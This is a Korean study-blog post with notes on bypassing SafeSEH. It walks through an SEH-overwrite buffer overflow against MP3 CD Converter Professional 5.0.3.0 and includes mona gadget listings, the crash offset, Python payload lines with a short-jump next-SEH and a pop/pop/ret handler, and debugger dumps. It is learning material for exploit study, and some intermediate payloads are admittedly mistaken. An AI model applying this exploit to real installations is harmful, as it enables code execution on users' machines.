SEH Handler 우회 공부

2018. 1. 9. 21:510x04 pwnable/윈도우즈 어플리케이션 취약점 분석

728x90

SafeSEH : SafeSEH는 SEH 기반 공격 시도를 실시간으로 차단해준다.

 

/safeSEH 컴파일러 스위치를 모든 실행 가능한 모듈에 적용할 수 있다.

스택을 보호하는 대신 예외 핸들러 프레임 체인이 보호되는데, 만약 SEH 체인이 변조되면 애플리케이션은

감염된 핸들러로 점프하지 않고, 종료된다. SafeSEH는 예외 핸들링 체인이 실제 핸들러로 이동하기 전에

변조 여부를 검사한다.

 

버그 바운티 팁이라고도 볼 수 있겠다.

취약한 애플리케이션이 SafeSEH로 컴파일 되지 않았거나 로드 된 모듈들 중 하나 이상이 

SafeSEH로 컴파일 되어 있지 않은 경우, 

 

해당 모듈 또는 애플리케이션 "DLL 파일"에서 POP/POP/RET

주소를 가져온다. 

 

Garget : pop pop ret , call ebp + 0x30, 

 

 

!mona mod 

 

mona를 통해 보호 기법의 유무를 알 수 있다.

 

SHE4 StackLayer 

 

ESP + 0x8 : POP POP RET

 

CALL EBP + 0x30 

 

얘내들을 사용하는 이유 ?

 

예외가 발생했을 경우 seh 구조체를 들어가면 핸들러가 있다. 

 

seh 체인을 잘 봐야한다. 

 

 

call과 jmp명령어는 최소 5바이트는 사용한다. 

 

CALL이나 JMP는 절대주소를 이용하고 

 

SHORT JMP는 상대주소를 이용하게 되면서, 명령어 OPCODE는 \xEB 

 

\xEB 00~7F (양수) - 스택 앞으로 JMP

\xEB 80~FF (음수) - 스택 뒤로 JMP

 

SafeSEH 우회 방법은 3가지가 있다.

 

1가지 : 프로그램에서 로드 된 모듈 중 SafeSEH가 적용되지 않는 모듈이 있다면 예외 처리 핸들러는 호출됨

2가지 : 예외 처리 핸들러의 주소가 힙 주소로 덮어씌워져 있다면 예외 처리 핸들러는 호출됨

3가지 : 예외 처리 핸들러의 주소가 프로그램에서 로드 된 모듈이 아닌 다른 메모리 영역의 모듈 주소를 가리키고 있다면

예외 처리 핸들러는 호출됨

 

call dword ptr [esp+n]

jmp dword ptr [esp+n]

call dword ptr [ebp+n]

jmp dword ptr [ebp+n]

call dword ptr [ebp-n]

jmp dword ptr [ebp-n]

call dword ptr [esp-n]

jmp dword ptr [esp-n]

esp-16, esp+8, esp+16, esp+1c, esp+2c, esp+32, esp+40 etc

ebp-18 

 

 

MP3CDConverter

 

ollydbg 에서 Ctrl+S 해서 가젯을 찾는다.

 

가젯

POP R32

POP R32

RET

 

 

 

CALL EBP+0x30 찾는법 

call dword ptr ss: [ebp+0x30]으로 찾음 

CTRL +B(Binary) -> FF 55 30 

 

Immunity Debugger - mona.py

 

특정 바이너리 attach 후 !mona seh 하고 log data를 보면 사용할 수 있는 것들이 출력됨

정확하게 모든 것을 다 보려면 Immunity Debugger 경로에 seh.txt를 보면 됨

너무 많다.

 

0x0040793f : pop edi # pop esi # ret 0x04 | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0040794a : pop edi # pop esi # ret 0x04 | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x00407a9d : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x00407ab3 : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x00407ac0 : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0040d167 : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0040d16e : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0040d1b8 : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x00412ffb : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0041364e : pop edi # pop esi # ret 0x04 | startnull,asciiprint,ascii,alphanum,uppernum {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0042116c : pop edi # pop esi # ret 0x04 | startnull,ascii {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x00423ac4 : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x00425f40 : pop edi # pop esi # ret 0x04 | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x00428e1a : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0042909d : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x00431c5d : pop edi # pop esi # ret 0x04 | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0043237b : pop edi # pop esi # ret 0x04 | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x00432f9e : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x00433372 : pop edi # pop esi # ret 0x04 | startnull,asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x004335fc : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x00434e3e : pop edi # pop esi # ret 0x04 | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x00436b25 : pop edi # pop esi # ret 0x04 | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x004385de : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x004392c9 : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0043bbb0 : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x00445c38 : pop edi # pop esi # ret 0x04 | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x00445f06 : pop edi # pop esi # ret 0x04 | startnull,ascii {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0044734a : pop edi # pop esi # ret 0x04 | startnull,asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x004476b9 : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x00447f34 : pop edi # pop esi # ret 0x04 | startnull,ascii {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0044c979 : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0044d27c : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0044e38d : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0044ef05 : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x00450404 : pop edi # pop esi # ret 0x04 | startnull,ascii {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0045124e : pop edi # pop esi # ret 0x04 | startnull,ascii {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x00452ff7 : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x00453033 : pop edi # pop esi # ret 0x04 | startnull,asciiprint,ascii,alphanum,uppernum {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0045a0aa : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0045a4a7 : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0045a6a5 : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0045aa55 : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0045c19b : pop edi # pop esi # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x10002581 : pop edi # pop esi # ret 0x04 | null {PAGE_EXECUTE_READ} [id3lib.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\MP3 CD Converter Professional\id3lib.dll)

0x1000259d : pop edi # pop esi # ret 0x04 | null {PAGE_EXECUTE_READ} [id3lib.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\MP3 CD Converter Professional\id3lib.dll)

0x10002ece : pop edi # pop esi # ret 0x04 | null {PAGE_EXECUTE_READ} [id3lib.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\MP3 CD Converter Professional\id3lib.dll)

0x100045f7 : pop edi # pop esi # ret 0x04 | null {PAGE_EXECUTE_READ} [id3lib.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\MP3 CD Converter Professional\id3lib.dll)

0x10004607 : pop edi # pop esi # ret 0x04 | null {PAGE_EXECUTE_READ} [id3lib.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\MP3 CD Converter Professional\id3lib.dll)

0x10005f43 : pop edi # pop esi # ret 0x04 | null {PAGE_EXECUTE_READ} [id3lib.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\MP3 CD Converter Professional\id3lib.dll)

0x10006c7e : pop edi # pop esi # ret 0x04 | null {PAGE_EXECUTE_READ} [id3lib.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\MP3 CD Converter Professional\id3lib.dll)

0x10006c86 : pop edi # pop esi # ret 0x04 | null {PAGE_EXECUTE_READ} [id3lib.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\MP3 CD Converter Professional\id3lib.dll)

0x10008c05 : pop edi # pop esi # ret 0x04 | null {PAGE_EXECUTE_READ} [id3lib.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\MP3 CD Converter Professional\id3lib.dll)

0x00416a7f : pop esi # pop ebx # ret 0x04 | startnull,ascii {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x00416aa6 : pop esi # pop ebx # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x00416ab2 : pop esi # pop ebx # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0041922a : pop esi # pop ebx # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0041d273 : pop esi # pop ebx # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x00426f6d : pop esi # pop ebx # ret 0x04 | startnull,asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x00426f77 : pop esi # pop ebx # ret 0x04 | startnull,asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x00431680 : pop esi # pop ebx # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x00436263 : pop esi # pop ebx # ret 0x04 | startnull,asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0044b7b7 : pop esi # pop ebx # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0044bfe6 : pop esi # pop ebx # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0044bff3 : pop esi # pop ebx # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0044c000 : pop esi # pop ebx # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0044c00d : pop esi # pop ebx # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0044c01a : pop esi # pop ebx # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0044c39b : pop esi # pop ebx # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

0x0044e401 : pop esi # pop ebx # ret 0x04 | startnull {PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 (C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

 

 

사용 시 주의 할 점 : 반드시 SafeSEH가 false여야 한다.

 

0x0040793f : pop edi # pop esi # ret 0x04 | startnull,asciiprint,ascii 

{PAGE_EXECUTE_READ} [MP3CDConverterPro.exe] 

ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.3.0 

(C:\Program Files\MP3 CD Converter Professional\MP3CDConverterPro.exe)

얘를 사용할 것이다. 

 

배운 내용 

 

GS로 인하여 기존의 RET를 변조하는 방식의 공격이 불가능하다. 

SEH 구조체는 Stack에 위치하여 공략 가능

SafeSEH가 등록되어 있기 때문에 pop/pop/ret나 call ebp+0x30을 실행하여 우회 

해당 가젯 수집 방법 (pop/pop/ret , call ebp+0x30)

Short JMP 기계어 코드 -> relative address 

상대주소에서 00~7F (스택 위)

상대주소에서 80~FF (스택 밑)

 

 

아까 만든 INT3 프로그램을 들어가서 SEH 핸들러를 살펴보자.

 

우선, 프로그램에 INT3이 걸려있기 때문에 그 다음 주소인 00401040이 EIP로 되어있다.

(shift + F9)

 

스택을 살펴보면 다음과 같다.

0012FF68   0012FFB0  Pointer to next SEH record

0012FF6C   00401785  SE handler

 

스택을 풀이해보면 다음과 같다.

0012FF6C에는 SE handler가 있고, 0012FF68에는 Pointer to next SEH record가 존재함

 

그럼 우리는 아까전에 배운 safe seh우회를 생각해보면, 

 

pop / pop/ ret -> pop32 pop32 ret -> esp+0x8 

call dword ptr ss: ebp+0x30 가 된다.

 

 

실습 

 

MP3 CD Converter 

 

6000바이트 페이로드를 구한다. 

원래 가지고 있는 패턴이 10000바이트이기 때문에 [:6000]하면 6000바이트까지 파일에 쓸 수 있다.

 

그 후 MP3 CD Converter Attach

 

SEH Handler : 61423161 패턴이 들어갔다.

 

이 패턴의 위치를 Immunity Debugger를 통해 확인 

 

명령어:

!mona pattern_offset 61423161

 

Log data, item 9

 Address=0BADF00D

 Message= - Pattern a1Ba (0x61423161) found in cyclic pattern at position 784

 

784바이트에 offset이 위치한다.

 

그렇다면, 6000바이트 파일에 784바이트에 SEH Handler가 위치한다. 

내가 쓸 가젯의 주소는 0x00407A9D이다. (Safe SEH : False) 되어있어야 한다.

 

 

next는 4바이트 앞이기 때문에 780바이트에 존재한다. 

 

다시 payload를 짜면 

seh_next = struct.pack('<L',0xFFFFFFFF) # SEH_NEXT

seh_handler = struct.pack('<L',0xFFFFFFFF) # SEH_HANDLER => POP POP RET

payload = "A" * (784-4) + seh_next + seh_handler + buf + "B" * 6000 

 

 

복습 : POP POP RET 찾는 법 

Immunity debugger에 바이너리 attach 후 !mona seh 

 

attach 후 SEH Handler 보면 

 

seh_handler location = 00100544 

 

00407A9D

 

지금 짯을 때 seh_next가 0xFFFFFFF로 덮여있어서 올바르게 PWN이 안 된것 같은데 

이를 0x90으로 하면 어떨까? 

 

seh_next = struct.pack('<L',0x90909090) # SEH_NEXT

seh_handler = struct.pack('<L',0x00407A9D) # SEH_HANDLER => POP POP RET

payload = "A" * (784-4) + seh_next + seh_handler + buf + "B" * 6000 

 

 

아... seh_next에 하는게 아닌가?

강의를 보고 진행해보자.

 

그런데 지금 스택을 보게 되면, seh_handler 뒤에 buf가 나와야 하는데 0xFFFFFFFF가 들어있음을 볼 수 있다.

 

밥먹고 왔으니 복습.

 

seh handler의 offset : 00100544 -> 00407A90을 가리킴 

 

00407A90을 확인 했는데 그 밑의 스택에 FF FF FF FF 가 담겨있다. buf에 FF FF FF FF 는 없다. 

단순한 에러일까? 

 

00100534   41414141

00100538   41414141

0010053C   41414141

00100540   41414141

00100544   FFFFFFFF  End of SEH chain

00100548   00407A9D  SE handler

0010054C   FFFFFFFF

00100550   5EF472D9

00100554   49495956

00100558   49494949

0010055C   49494949

00100560   43434343

00100564   51374343

00100568   58416A5A

0010056C   30413050

 

FF FF FF FF 를 패치해야한다 ! 즉, 피해야 한다. 

 

피하는 방법은 0x90 으로 하면 된다.

 

우선, pop pop ret에 bp를 걸고 핸들러가 가리키는 주소에 bp를 건다.

그 후 핸들러가 가리키는 주소 (FF FF가 현재 들어있는데)의 OPCODE를 EB 10으로 패치한다. !! 

 

seh_next = struct.pack('<L',0x909010EB) # SEH_NEXT (Short JMP)

seh_handler = struct.pack('<L',0x00407A9D) # SEH_HANDLER => POP POP RET

payload = "A" * (784-4) + seh_next + seh_handler + "\x90" * 15 + buf + "B" * 6000 

 

nop은 조금 넉넉하게 ~ 

얘내를 점프해야함 .

//

0010054B    00FF            ADD BH,BH

0010054D    FFFF            ???                                      ; Unknown command

0010054F    FFD9            CALL FAR ECX                             ; Illegal use of register

 

//

 

어차피 f.write(payload(:6000))에서 6000바이트로 짜름 

 

seh_next = struct.pack('<L',0x909010EB) # SEH_NEXT (Short JMP)

seh_handler = struct.pack('<L',0x00407A9D) # SEH_HANDLER => POP POP RET

payload = "A" * (784-4) + seh_next + seh_handler + "\x90" * 15 + buf + "B" * 6000 

 

아.. seh_handler를 여기만 적어두고, XP환경에는 안바꾸었구나

 

 

 

이제 내 아이디어로 문제를 다시 풀어보자. 정답이 하나만 있진 않을거잖아?

 

우선 seh_handler를 구하기 위해 가젯을 획득한다. 

가젯은 POP POP RET다.

해당 가젯을 찾기 위해 MP3 CD Converter 프로그램을 로드하고, Immunity Debugger를 통해

해당 명령어를 입력한다 => !mona seh 

 

그러면 엄청 나게 많은 POP POP RET가 나오게 되는데 0x0040793f를 이용해보자.

 

# my_idea

seh_next = struct.pack('<L',0x90909090) # SEH_NEXT

#seh_handler = struct.pack('<L',0xFFFFFFFF) # SEH_HANDLER

# pop pop ret == seh_handler

# pop pop ret => !mona seh => must safe SEH = failed

seh_handler = struct.pack('<L',0x0040793f) # SEH_HANDLER => POP POP RET

payload = "A" * (784-4) + seh_next + seh_handler + buf + "B" * 6000

 

이렇게 코드를 짜고 SEH Chain을 보게 되면 

 

주소 0x00100544에 0040793F를 가리키게 된다. 

즉 내가 적은 POP POP RET가 제대로 들어가 있음을 확인하였고,

 

주소 0x00100544를 스택으로 확인해보았다.

A가 여러개 들어가있고 (780개) SEH_NEXT 

내가 입력한 seh_next와 seh_handler 까지 보인다. 

seh_next = 90909090

seh_handler = 0040793F 

 

00100538   41414141

0010053C   41414141

00100540   41414141

00100544   90909090  Pointer to next SEH record

00100548   0040793F  SE handler

0010054C   FFFFFFFF

00100550   5EF472D9

00100554   49495956

00100558   49494949

0010055C   49494949

00100560   43434343

00100564   51374343

 

그런데... 0010054C에 FF FF FF FF 라는 이상한 값이 들어가 있다. 

그렇다면.. 40793F로 이동해서 BP걸고 . 0010054C에도 BP걸고 확인하자.

이 FF FF 에 Jmp short 를 이용해서 우회를 해야한다. 

일단 49 43 중에 아무곳이나 점프할 곳을 찾는다

나는 0X10055F가 마음에 든다.

 

0010054C   /EB 11           JMP SHORT 0010055F

0010054E   |FFFF            ???                                      ; Unknown command

00100550   |D972 F4         FSTENV (28-BYTE) PTR DS:[EDX-C]

00100553   |5E              POP ESI

00100554   |56              PUSH ESI

00100555   |59              POP ECX

00100556   |49              DEC ECX

00100557   |49              DEC ECX

00100558   |49              DEC ECX

00100559   |49              DEC ECX

0010055A   |49              DEC ECX

0010055B   |49              DEC ECX

0010055C   |49              DEC ECX

0010055D   |49              DEC ECX

0010055E   |49              DEC ECX

0010055F   \49              DEC ECX

 

 

앗.. 잘못 했다. Next SEH에서 패치를 진행해야하는 것 같다. 

 

다시 00100544로 이동해서 0x10055F에 JMP SHORT

 

00100544   /EB 19           JMP SHORT 0010055F

00100546   |90              NOP

00100547   |90              NOP

00100548   |3F              AAS

00100549   |79 40           JNS SHORT 0010058B

0010054B   |00FF            ADD BH,BH

0010054D   |FFFF            ???                                      ; Unknown command

0010054F   |FFD9            CALL FAR ECX                             ; Illegal use of register

00100551  ^|72 F4           JB SHORT 00100547

00100553   |5E              POP ESI

00100554   |56              PUSH ESI

00100555   |59              POP ECX

00100556   |49              DEC ECX

00100557   |49              DEC ECX

00100558   |49              DEC ECX

00100559   |49              DEC ECX

0010055A   |49              DEC ECX

0010055B   |49              DEC ECX

0010055C   |49              DEC ECX

0010055D   |49              DEC ECX

0010055E   |49              DEC ECX

0010055F   \49              DEC ECX

 

그렇다면, next SEH를 바꿔줘야지

# my_idea

seh_next = struct.pack('<L',0x0010055F) # SEH_NEXT

#seh_handler = struct.pack('<L',0xFFFFFFFF) # SEH_HANDLER

# pop pop ret == seh_handler

